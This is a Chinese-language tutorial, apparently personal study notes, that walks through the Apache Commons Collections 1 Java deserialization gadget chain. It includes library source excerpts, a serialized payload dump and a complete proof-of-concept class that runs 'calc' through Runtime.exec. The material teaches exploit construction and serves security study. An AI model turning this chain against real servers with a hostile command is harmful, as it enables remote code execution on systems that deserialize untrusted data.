一个触发命令执行的Demo

package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}

分析

利用CC链中的翻译器类(Transformer)进行命令执行

Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);

前面部分定义了一个Transformer的数组
其中包含两个Transformer

1. ConstantTransformer:返回常量的翻译器,
此处传入了可执行命令的Runtime对象
也就是无论往翻译器里传入什么,都只会返回Runtime对象:

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

2. InvokerTransformer
传入对象,函数名,参数
返回执行结果
所以此处如果传入Runtime对象、函数exec、参数命令(演示用calc)
就可以实现命令执行:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
//...报错处理
}
}

再用ChainedTransformer将这两个翻译器连起来
这个翻译器会把输入按顺序通过列表中的翻译器:

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

此时只要执行一句:

transformerChain.transform("a");

就可以实现命令执行弹出计算器了

构造序列化数据

但只是我们本地测试的一个效果
想在服务器上反序列化的过程触发这个操作
还需要借助别的东西
想要直接执行上述的transform方法比较困难
将其转换为别的操作:

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(
innerMap,
null,
transformerChain
);

看一下TransformedMap这个特殊的Map类:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}

也就是说这个类可以传入:

  • 一个HashMap
  • 一个键翻译器
  • 一个值翻译器

而后在添加(put)新的元素的时候
会先将键值对分别翻译后再添加
此时就触发了翻译操作
触发执行命令的语句从

transformerChain.transform("a");

转换为了

outerMap.put("键", "值");

那么如何在序列化的过程中实现这个添加元素的过程呢
需要进入下一步:

AnnotationInvocationHandler

位于:

sun.reflect.annotation.AnnotationInvocationHandler

是 Java 标准库中的一个内部类(位于 sun.reflect.annotation 包),
主要用于处理注解(Annotation)的动态代理机制。
它在 Java 的反射和注解处理中扮演重要角色,
但由于是内部 API,开发者通常不会直接使用它。

  • 注解(不是注释):
    注解是 Java 中的一种元数据(Metadata)​机制,用于为代码(类、方法、字段等)添加额外的结构化信息。这些信息可以被编译器、开发工具或运行时框架(如 Spring、Hibernate)读取,并根据注解的内容执行特定操作。
    相当于给编译器看的注释而非给人看的。

看看他的readObject方法:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
Object var2 = null;

try {
var10 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var10.memberTypes();

for(Map.Entry var5 : this.memberValues.entrySet()) {
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var10.members().get(var6)));
}
}
}
}

可以看到使用一个for循环对this.memberValues属性进行了一系列的操作
这个属性就是我们的map,看看构造方法:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

将我们的outerMap作为第二个参数传入赋值给memberValues
触发添加元素:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

将handler输出为序列化字符串
就是我们的payload:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
iTransformerst -[Lorg/apache/commons/collections/Transformer;xpur -[Lorg.apache.commons.collections.Transformer;�V*��4�  xp   sr ;org.apache.commons.collections.functors.ConstantTransformerXv�A�� L 	iConstantt Ljava/lang/Object;xpvr java.lang.Runtime           xpsr :org.apache.commons.collections.functors.InvokerTransformer���k{|�8 [ iArgst [Ljava/lang/Object;L iMethodNamet Ljava/lang/String;[ iParamTypest [Ljava/lang/Class;xpur [Ljava.lang.Object;��X�s)l  xp   t 
getRuntimeur [Ljava.lang.Class;�׮��Z� xp t getMethoduq ~  vr java.lang.String��8z;�B xpvq ~ sq ~ uq ~  puq ~  t invokeuq ~  vr java.lang.Object xpvq ~ sq ~ ur [Ljava.lang.String;��V��{G xp t calct execuq ~  q ~ sr java.util.HashMap���`� F
loadFactorI thresholdxp?@  t valuet xxxxxxvr java.lang.annotation.Retention xp

假如存在某个这样的漏洞点:

ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

按理说就可以执行我们的恶意代码了
不过还存在最后一个问题
那就是Runtime类事实上没有实现Serializable接口
导致无法被序列化
怎么办?
在JVM中,每个类加载后都会生成一个唯一的Class对象,
用来表示该类的类型信息,获取方式:

类名.class

同样的,使用:

Runtime.class

就可以获取到Runtime的Class对象
这个对象可以进行反射调用获取Runtime并执行命令:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

那么我们就需要换一条翻译链子了:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"} // 弹出计算器(Windows)
)
};

完整poc:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class
},
new String[] {
"calc" }),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

很长很绕,让自己来挖做不到
尤其是注解类,发现不了,审不明白
思路学一辈子